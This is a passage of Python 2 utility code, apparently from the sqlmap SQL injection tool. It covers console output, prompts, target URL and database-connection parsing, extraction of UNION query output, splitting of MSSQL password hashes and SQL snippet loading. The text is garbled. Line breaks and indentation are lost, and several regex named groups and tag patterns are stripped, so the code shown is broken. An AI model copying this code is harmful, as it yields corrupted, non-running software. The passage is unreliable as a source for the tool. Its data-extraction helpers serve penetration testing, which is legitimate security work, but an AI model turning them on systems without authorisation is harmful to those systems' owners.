colorizing handler if bold: retVal = colored(message, color=None, on_color=None, attrs=("bold",)) elif level: level = getattr(logging, level, None) if isinstance(level, basestring) else level _ = LOGGER_HANDLER.level_map.get(level) if _: background, foreground, bold = _ retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None) kb.stickyLevel = level if message and message[-1] != "\n" else None return retVal def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS): """ Writes text to the stdout (console) stream """ message = "" if not kb.get("threadException"): if forceOutput or not getCurrentThreadData().disableStdOut: if kb.get("multiThreadMode"): logging._acquireLock() if isinstance(data, unicode): message = stdoutencode(data) else: message = data if hasattr(conf, "api"): sys.stdout.write(message, status, content_type) else: sys.stdout.write(setColor(message, bold)) try: sys.stdout.flush() except IOError: pass if kb.get("multiThreadMode"): logging._releaseLock() kb.prependFlag = isinstance(data, basestring) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') def dataToTrafficFile(data): if not conf.trafficFile: return try: conf.trafficFP.write(data) conf.trafficFP.flush() except IOError, ex: errMsg = "something went wrong while trying " errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) def dataToDumpFile(dumpFile, data): try: dumpFile.write(data) dumpFile.flush() except IOError, ex: if "No space left" in getUnicode(ex): errMsg = "no space left on output device" logger.error(errMsg) elif "Permission denied" in getUnicode(ex): errMsg = "permission denied when flushing dump data" logger.error(errMsg) else: raise def dataToOutFile(filename, data): retVal = None if data: retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) try: with open(retVal, "w+b") as f: f.write(data) except IOError, ex: errMsg = "something went wrong while trying to write " errMsg += "to the output file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) return retVal def readInput(message, default=None, checkBatch=True): """ Reads input from terminal """ retVal = None kb.stickyLevel = None message = getUnicode(message) if "\n" in message: message += "%s> " % ("\n" if message.count("\n") > 1 else "") elif message[-1] == ']': message += " " if kb.get("prependFlag"): message = "\n%s" % message kb.prependFlag = False if conf.get("answers"): for item in conf.answers.split(','): question = item.split('=')[0].strip() answer = item.split('=')[1] if len(item.split('=')) > 1 else None if answer and question.lower() in message.lower(): retVal = getUnicode(answer, UNICODE_ENCODING) elif answer is None and retVal: retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) if retVal: dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True) debugMsg = "used the given answer" logger.debug(debugMsg) if retVal is None: if checkBatch and conf.get("batch"): if isListLike(default): options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: options = getUnicode(default, UNICODE_ENCODING) else: options = unicode() dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True) debugMsg = "used the default behaviour, running in batch mode" logger.debug(debugMsg) retVal = default else: logging._acquireLock() if conf.get("beep"): beep() dataToStdout("\r%s" % message, forceOutput=True, bold=True) kb.prependFlag = False try: retVal = raw_input() or default retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 kb.prependFlag = True raise SqlmapUserQuitException finally: logging._releaseLock() return retVal def randomRange(start=0, stop=1000, seed=None): """ Returns random integer value in given range >>> random.seed(0) >>> randomRange(1, 500) 423 """ randint = random.WichmannHill(seed).randint if seed is not None else random.randint return int(randint(start, stop)) def randomInt(length=4, seed=None): """ Returns random integer value with provided number of digits >>> random.seed(0) >>> randomInt(6) 874254 """ choice = random.WichmannHill(seed).choice if seed is not None else random.choice return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) def randomStr(length=4, lowercase=False, alphabet=None, seed=None): """ Returns random string value with provided number of characters >>> random.seed(0) >>> randomStr(6) 'RNvnAv' """ choice = random.WichmannHill(seed).choice if seed is not None else random.choice if alphabet: retVal = "".join(choice(alphabet) for _ in xrange(0, length)) elif lowercase: retVal = "".join(choice(string.ascii_lowercase) for _ in xrange(0, length)) else: retVal = "".join(choice(string.ascii_letters) for _ in xrange(0, length)) return retVal def sanitizeStr(value): """ Sanitizes string value in respect to newline and line-feed characters >>> sanitizeStr('foo\\n\\rbar') u'foo bar' """ return getUnicode(value).replace("\n", " ").replace("\r", "") def getHeader(headers, key): retVal = None for _ in (headers or {}): if _.upper() == key.upper(): retVal = headers[_] break return retVal def checkFile(filename, raiseOnError=True): """ Checks for file existence and readability """ valid = True try: if filename is None or not os.path.isfile(filename): valid = False except UnicodeError: valid = False if valid: try: with open(filename, "rb"): pass except: valid = False if not valid and raiseOnError: raise SqlmapSystemException("unable to read file '%s'" % filename) return valid def banner(): """ This function prints sqlmap banner with its version """ _ = BANNER if not getattr(LOGGER_HANDLER, "is_tty", False): _ = re.sub("\033.+?m", "", _) dataToStdout(_, forceOutput=True) def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components """ blank = " " * 8 if not password or password == " ": password = NULL if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password): hexPassword = password password = "%s\n" % hexPassword password += "%sheader: %s\n" % (blank, hexPassword[:6]) password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) if not Backend.isVersionWithin(("2005", "2008")): password += "%suppercase: %s" % (blank, hexPassword[54:]) return password def cleanQuery(query): """ Switch all SQL statement (alike) keywords to upper case """ retVal = query for sqlStatements in SQL_STATEMENTS.values(): for sqlStatement in sqlStatements: sqlStatementEsc = sqlStatement.replace("(", "\\(") queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I) if queryMatch and "sys_exec" not in query: retVal = retVal.replace(queryMatch.group(1), sqlStatement.upper()) return retVal def setPaths(): """ Sets absolute paths for project directories and files """ # sqlmap paths paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs") paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell") paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper") paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf") paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt") paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap") paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding()) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") paths.GITHUB_HISTORY = os.path.join(_, "github.hst") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml") paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml") paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") for path in paths.values(): if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")): checkFile(path) def weAreFrozen(): """ Returns whether we are frozen via py2exe. This will affect how we find out where we are located. Reference: http://www.py2exe.org/index.cgi/WhereAmI """ return hasattr(sys, "frozen") def parseTargetDirect(): """ Parse target dbms and set some attributes into the configuration singleton. """ if not conf.direct: return details = None remote = False for dbms in SUPPORTED_DBMS: details = re.search("^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P.+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I) if details: conf.dbms = details.group("dbms") if details.group('credentials'): conf.dbmsUser = details.group("user") conf.dbmsPass = details.group("pass") else: if conf.dbmsCred: conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') else: conf.dbmsUser = unicode() conf.dbmsPass = unicode() if not conf.dbmsPass: conf.dbmsPass = None if details.group("remote"): remote = True conf.hostname = details.group("hostname").strip() conf.port = int(details.group("port")) else: conf.hostname = "localhost" conf.port = 0 conf.dbmsDb = details.group("db") conf.parameters[None] = "direct connection" break if not details: errMsg = "invalid target details, valid syntax is for instance " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "or 'access://DATABASE_FILEPATH'" raise SqlmapSyntaxException(errMsg) for dbmsName, data in DBMS_DICT.items(): if dbmsName == conf.dbms or conf.dbms.lower() in data[0]: try: if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): if remote: warnMsg = "direct connection over the network for " warnMsg += "%s DBMS is not supported" % dbmsName logger.warn(warnMsg) conf.hostname = "localhost" conf.port = 0 elif not remote: errMsg = "missing remote connection details (e.g. " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "or 'access://DATABASE_FILEPATH')" raise SqlmapSyntaxException(errMsg) if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): import _mssql import pymssql if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": errMsg = "'%s' third-party library must be " % data[1] errMsg += "version >= 1.0.2 to work properly. " errMsg += "Download from '%s'" % data[2] raise SqlmapMissingDependence(errMsg) elif dbmsName == DBMS.MYSQL: import pymysql elif dbmsName == DBMS.PGSQL: import psycopg2 elif dbmsName == DBMS.ORACLE: import cx_Oracle elif dbmsName == DBMS.SQLITE: import sqlite3 elif dbmsName == DBMS.ACCESS: import pyodbc elif dbmsName == DBMS.FIREBIRD: import kinterbasdb except ImportError: if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: pass else: errMsg = "sqlmap requires '%s' third-party library " % data[1] errMsg += "in order to directly connect to the DBMS " errMsg += "%s. You can download it from '%s'" % (dbmsName, data[2]) errMsg += ". Alternative is to use a package 'python-sqlalchemy' " errMsg += "with support for dialect '%s' installed" % data[3] raise SqlmapMissingDependence(errMsg) def parseTargetUrl(): """ Parse target URL and set some attributes into the configuration singleton. """ if not conf.url: return originalUrl = conf.url if re.search("\[.+\]", conf.url) and not socket.has_ipv6: errMsg = "IPv6 addressing is not supported " errMsg += "on this platform" raise SqlmapGenericException(errMsg) if not re.search("^http[s]*://", conf.url, re.I) and \ not re.search("^ws[s]*://", conf.url, re.I): if ":443/" in conf.url: conf.url = "https://" + conf.url else: conf.url = "http://" + conf.url if CUSTOM_INJECTION_MARK_CHAR in conf.url: conf.url = conf.url.replace('?', URI_QUESTION_MARKER) try: urlSplit = urlparse.urlsplit(conf.url) except ValueError, ex: errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex)) errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) hostnamePort = urlSplit.netloc.split(":") if not re.search("\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search("\](:(?P\d+))?", urlSplit.netloc).group("port"))) conf.scheme = urlSplit.scheme.strip().lower() if not conf.forceSSL else "https" conf.path = urlSplit.path.strip() conf.hostname = hostnamePort[0].strip() conf.ipv6 = conf.hostname != conf.hostname.strip("[]") conf.hostname = conf.hostname.strip("[]").replace(CUSTOM_INJECTION_MARK_CHAR, "") try: _ = conf.hostname.encode("idna") except LookupError: _ = conf.hostname.encode(UNICODE_ENCODING) except UnicodeError: _ = None if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'))): errMsg = "invalid target URL" raise SqlmapSyntaxException(errMsg) if len(hostnamePort) == 2: try: conf.port = int(hostnamePort[1]) except: errMsg = "invalid target URL" raise SqlmapSyntaxException(errMsg) elif conf.scheme == "https": conf.port = 443 else: conf.port = 80 if urlSplit.query: conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.REFERER, conf.httpHeaders) conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(CUSTOM_INJECTION_MARK_CHAR, ""))) if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5): debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) conf.httpHeaders = filter(lambda (key, value): key != HTTP_HEADER.HOST, conf.httpHeaders) conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url))) if conf.url != originalUrl: kb.originalUrls[conf.url] = originalUrl def expandAsteriskForColumns(expression): """ If the user provided an asterisk rather than the column(s) name, sqlmap will retrieve the columns itself and reprocess the SQL query string (expression) """ asterisk = re.search("^SELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression, re.I) if asterisk: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) _ = asterisk.group(2).replace("..", ".").replace(".dbo.", ".") db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _) if db is None: if expression != conf.query: conf.db = db else: expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), "\g<1>%s.%s" % (conf.db, conf.tbl), expression) else: conf.db = db conf.db = safeSQLIdentificatorNaming(conf.db) conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True) columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: columns = columnsDict[conf.db][conf.tbl].keys() columns.sort() columnsStr = ", ".join(column for column in columns) expression = expression.replace("*", columnsStr, 1) infoMsg = "the query with expanded column name(s) is: " infoMsg += "%s" % expression logger.info(infoMsg) return expression def getLimitRange(count, plusOne=False): """ Returns range of values used in limit/offset constructs >>> [_ for _ in getLimitRange(10)] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] """ retVal = None count = int(count) limitStart, limitStop = 1, count if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop: limitStop = conf.limitStop if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: limitStart = conf.limitStart retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop) return retVal def parseUnionPage(page): """ Returns resulting items from UNION query inside provided page content """ if page is None: return None if re.search("(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page): if len(page) > LARGE_OUTPUT_THRESHOLD: warnMsg = "large output detected. This might take a while" logger.warn(warnMsg) data = BigArray() keys = set() for match in re.finditer("%s(.*?)%s" % (kb.chars.start, kb.chars.stop), page, re.DOTALL | re.IGNORECASE): entry = match.group(1) if kb.chars.start in entry: entry = entry.split(kb.chars.start)[-1] if kb.unionDuplicates: key = entry.lower() if key not in keys: keys.add(key) else: continue entry = entry.split(kb.chars.delimiter) if conf.hexConvert: entry = applyFunctionRecursively(entry, decodeHexValue) if kb.safeCharEncode: entry = applyFunctionRecursively(entry, safecharencode) data.append(entry[0] if len(entry) == 1 else entry) else: data = page if len(data) == 1 and isinstance(data[0], basestring): data = data[0] return data def parseFilePaths(page): """ Detects (possible) absolute system paths inside the provided page content """ if page: for regex in (r" in (?P.*?) on line", r"(?:>|\s)(?P[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P/\w[/\w.]+)"): for match in re.finditer(regex, page): absFilePath = match.group("result").strip() page = page.replace(absFilePath, "") if isWindowsDriveLetterPath(absFilePath): absFilePath = posixToNtSlashes(absFilePath) if absFilePath not in kb.absFilePaths: kb.absFilePaths.add(absFilePath) def getLocalIP(): """ Get local IP address (exposed to the remote/target) """ retVal = None try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((conf.hostname, conf.port)) retVal, _ = s.getsockname() s.close() except: debugMsg = "there was an error in opening socket " debugMsg += "connection toward '%s'" % conf.hostname logger.debug(debugMsg) return retVal def getRemoteIP(): """ Get remote/target IP address """ retVal = None try: retVal = socket.gethostbyname(conf.hostname) except socket.gaierror: errMsg = "address resolution problem " errMsg += "occurred for hostname '%s'" % conf.hostname singleTimeLogMessage(errMsg, logging.ERROR) return retVal def getFileType(filePath): try: _ = magic.from_file(filePath) except: return "unknown" return "text" if "ASCII" in _ or "text" in _ else "binary" def getCharset(charsetType=None): """ Returns list with integers representing characters of a given charset type appropriate for inference techniques >>> getCharset(CHARSET_TYPE.BINARY) [0, 1, 47, 48, 49] """ asciiTbl = [] if charsetType is None: asciiTbl.extend(xrange(0, 128)) # 0 or 1 elif charsetType == CHARSET_TYPE.BINARY: asciiTbl.extend([0, 1]) asciiTbl.extend(xrange(47, 50)) # Digits elif charsetType == CHARSET_TYPE.DIGITS: asciiTbl.extend([0, 1]) asciiTbl.extend(xrange(47, 58)) # Hexadecimal elif charsetType == CHARSET_TYPE.HEXADECIMAL: asciiTbl.extend([0, 1]) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 71)) asciiTbl.extend([87, 88]) # X asciiTbl.extend(xrange(96, 103)) asciiTbl.extend([119, 120]) # x # Characters elif charsetType == CHARSET_TYPE.ALPHA: asciiTbl.extend([0, 1]) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) # Characters and digits elif charsetType == CHARSET_TYPE.ALPHANUM: asciiTbl.extend([0, 1]) asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(96, 123)) return asciiTbl def directoryPath(filepath): """ Returns directory path for a given filepath >>> directoryPath('/var/log/apache.log') '/var/log' """ retVal = filepath if filepath: retVal = ntpath.dirname(filepath) if isWindowsDriveLetterPath(filepath) else posixpath.dirname(filepath) return retVal def normalizePath(filepath): """ Returns normalized string representation of a given filepath >>> normalizePath('//var///log/apache.log') '//var/log/apache.log' """ retVal = filepath if retVal: retVal = retVal.strip("\r\n") retVal = ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else posixpath.normpath(retVal) return retVal def safeExpandUser(filepath): """ Patch for a Python Issue18171 (http://bugs.python.org/issue18171) """ retVal = filepath try: retVal = os.path.expanduser(filepath) except UnicodeError: _ = locale.getdefaultlocale() encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding) return retVal def safeStringFormat(format_, params): """ Avoids problems with inappropriate string format strings >>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1')) u'SELECT foo FROM bar LIMIT 1' """ if format_.count(PAYLOAD_DELIMITER) == 2: _ = format_.split(PAYLOAD_DELIMITER) _[1] = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", _[1]) retVal = PAYLOAD_DELIMITER.join(_) else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_) if isinstance(params, basestring): retVal = retVal.replace("%s", params, 1) elif not isListLike(params): retVal = retVal.replace("%s", str(params), 1) else: start, end = 0, len(retVal) match = re.search(r"%s(.+)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), retVal) if match and PAYLOAD_DELIMITER not in match.group(1): start, end = match.start(), match.end() if retVal.count("%s", start, end) == len(params): for param in params: index = retVal.find("%s", start) retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:] else: if any('%s' in _ for _ in conf.parameters.values()): parts = format_.split(' ') for i in xrange(len(parts)): if PAYLOAD_DELIMITER in parts[i]: parts[i] = parts[i].replace(PAYLOAD_DELIMITER, "") parts[i] = "%s%s" % (parts[i], PAYLOAD_DELIMITER) break format_ = ' '.join(parts) count = 0 while True: match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) if match: if count >= len(params): warnMsg = "wrong number of parameters during string formatting. " warnMsg += "Please report by e-mail content \"%r | %r | %r\" to 'dev@sqlmap.org'" % (format_, params, retVal) raise SqlmapValueException(warnMsg) else: retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) count += 1 else: break return retVal def getFilteredPageContent(page, onlyText=True): """ Returns filtered page content without script, style and/or comments or all HTML tags >>> getFilteredPageContent(u'foobartest') u'foobar test' """ retVal = page # only if the page's charset has been successfully identified if isinstance(page, unicode): retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), " ", page) while retVal.find(" ") != -1: retVal = retVal.replace(" ", " ") retVal = htmlunescape(retVal.strip()) return retVal def getPageWordSet(page): """ Returns word set used in page content >>> sorted(getPageWordSet(u'foobartest')) [u'foobar', u'test'] """ retVal = set() # only if the page's charset has been successfully identified if isinstance(page, unicode): _ = getFilteredPageContent(page) retVal = set(re.findall(r"\w+", _)) return retVal def showStaticWords(firstPage, secondPage): """ Prints words appearing in two different response pages """ infoMsg = "finding static words in longest matching part of dynamic page content" logger.info(infoMsg) firstPage = getFilteredPageContent(firstPage) secondPage = getFilteredPageContent(secondPage) infoMsg = "static words: " if firstPage and secondPage: match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) commonText = firstPage[match[0]:match[0] + match[2]] commonWords = getPageWordSet(commonText) else: commonWords = None if commonWords: commonWords = list(commonWords) commonWords.sort(lambda a, b: cmp(a.lower(), b.lower())) for word in commonWords: if len(word) > 2: infoMsg += "'%s', " % word infoMsg = infoMsg.rstrip(", ") else: infoMsg += "None" logger.info(infoMsg) def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter >>> isWindowsDriveLetterPath('C:\\boot.ini') True >>> isWindowsDriveLetterPath('/var/log/apache.log') False """ return re.search("\A[\w]\:", filepath) is not None def posixToNtSlashes(filepath): """ Replaces all occurances of Posix slashes (/) in provided filepath with NT ones (\) >>> posixToNtSlashes('C:/Windows') 'C:\\\\Windows' """ return filepath.replace('/', '\\') if filepath else filepath def ntToPosixSlashes(filepath): """ Replaces all occurances of NT slashes (\) in provided filepath with Posix ones (/) >>> ntToPosixSlashes('C:\\Windows') 'C:/Windows' """ return filepath.replace('\\', '/') if filepath else filepath def isHexEncodedString(subject): """ Checks if the provided string is hex encoded >>> isHexEncodedString('DEADBEEF') True >>> isHexEncodedString('test') False """ return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None @cachedmethod def getConsoleWidth(default=80): """ Returns console width """ width = None if os.getenv("COLUMNS", "").isdigit(): width = int(os.getenv("COLUMNS")) else: try: try: FNULL = open(os.devnull, 'w') except IOError: FNULL = None process = execute("stty size", shell=True, stdout=PIPE, stderr=FNULL or PIPE) stdout, _ = process.communicate() items = stdout.split() if len(items) == 2 and items[1].isdigit(): width = int(items[1]) except (OSError, MemoryError): pass if width is None: try: import curses stdscr = curses.initscr() _, width = stdscr.getmaxyx() curses.endwin() except: pass return width or default def clearConsoleLine(forceOutput=False): """ Clears current console line """ if getattr(LOGGER_HANDLER, "is_tty", False): dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) kb.prependFlag = False kb.stickyLevel = None def parseXmlFile(xmlFile, handler): """ Parses XML file by a given handler """ try: with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) except (SAXParseException, UnicodeError), ex: errMsg = "something seems to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException, errMsg def getSQLSnippet(dbms, sfile, **variables): """ Returns content of SQL snippet located inside 'procs/' directory """ if sfile.endswith('.sql') and os.path.exists(sfile): filename = sfile elif not sfile.endswith('.sql') and os.path.exists("%s.sql" % sfile): filename = "%s.sql" % sfile else: filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile) checkFile(filename) retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) retVal = re.sub(r"(?s);\s+", "; ", retVal).strip("\r\n") for _ in variables.keys(): retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): retVal = retVal.replace(_, randomStr()) for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): retVal = retVal.replace(_, randomInt()) variables = re.findall(r"(? 1 else "", ", ".join(variables), sfile) logger.error(errMsg) msg = "do you want to provide the substitution values? [y/N] " choice = readInput(msg, default="N") if choice and choice[0].lower() == "y": for var in variables: msg = "insert value for variable '%s': " % var val = readInput(msg, default="") retVal = retVal.replace(r"%%%s%%" % var, val) return retVal def readCachedFileContent(filename, mode='rb'): """ Cached reading of file content (avoiding multiple same file reading) """ if filename not in kb.cache.content: with kb.locks.cache: if filename not in kb.cache.content: checkFile(filename) try: with openFile(filename, mode) as f: kb.cache.content[filename] = f.read() except (IOError, OSError, MemoryError), ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return kb.cache.content[filename] def readXmlFile(xmlFile): """ Reads XML file content and returns its DOM representation """ checkFile(xmlFile) retVal = minidom.parse(xmlFile).documentElement return retVal def stdev(values): """ Computes standard deviation of a list of numbers. Reference: http://www.goldb.org/corestats.html >>> stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) 0.06324555320336757 """ if not values or len(values) < 2: return None key = (values[0], values[-1], len(values)) if kb.get("cache") and key in kb.cache.stdev: retVal = kb.cache.stdev[key] else: avg = average(values) _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) retVal = sqrt(_ / (len(values) - 1)) if kb.get("cache"): kb.cache.stdev[key] = retVal return retVal def average(values): """ Computes the arithmetic mean of a list of numbers. >>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) 0.9 """ return (sum(values) / len(values)) if values else None def calculateDeltaSeconds(start): """ Returns elapsed time from start till now """ return time.time() - start def initCommonOutputs(): """ Initializes dictionary containing common output values used by "good samaritan" feature """ kb.commonOutputs = {} key = None with openFile(paths.COMMON_OUTPUTS, 'r') as f: for line in f.readlines(): # xreadlines doesn't return unicode strings when codec.open() is used if line.find('#') != -1: line = line[:line.find('#')] line = line.strip() if len(line) > 1: if line.startswith('[') and line.endswith(']'): key = line[1:-1] elif key: if key not in kb.commonOutputs: kb.commonOutputs[key] = set() if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file """ retVal = list() if not unique else OrderedDict() checkFile(filename) try: with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f: for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used if commentPrefix: if line.find(commentPrefix) != -1: line = line[:line.find(commentPrefix)] line = line.strip() if not unicode_: try: line = str.encode(line) except UnicodeDecodeError: continue if line: if lowercase: line = line.lower() if unique and line in retVal: continue if unique: retVal[line] = True else: retVal.append(line) except (IOError, OSError, MemoryError), ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return 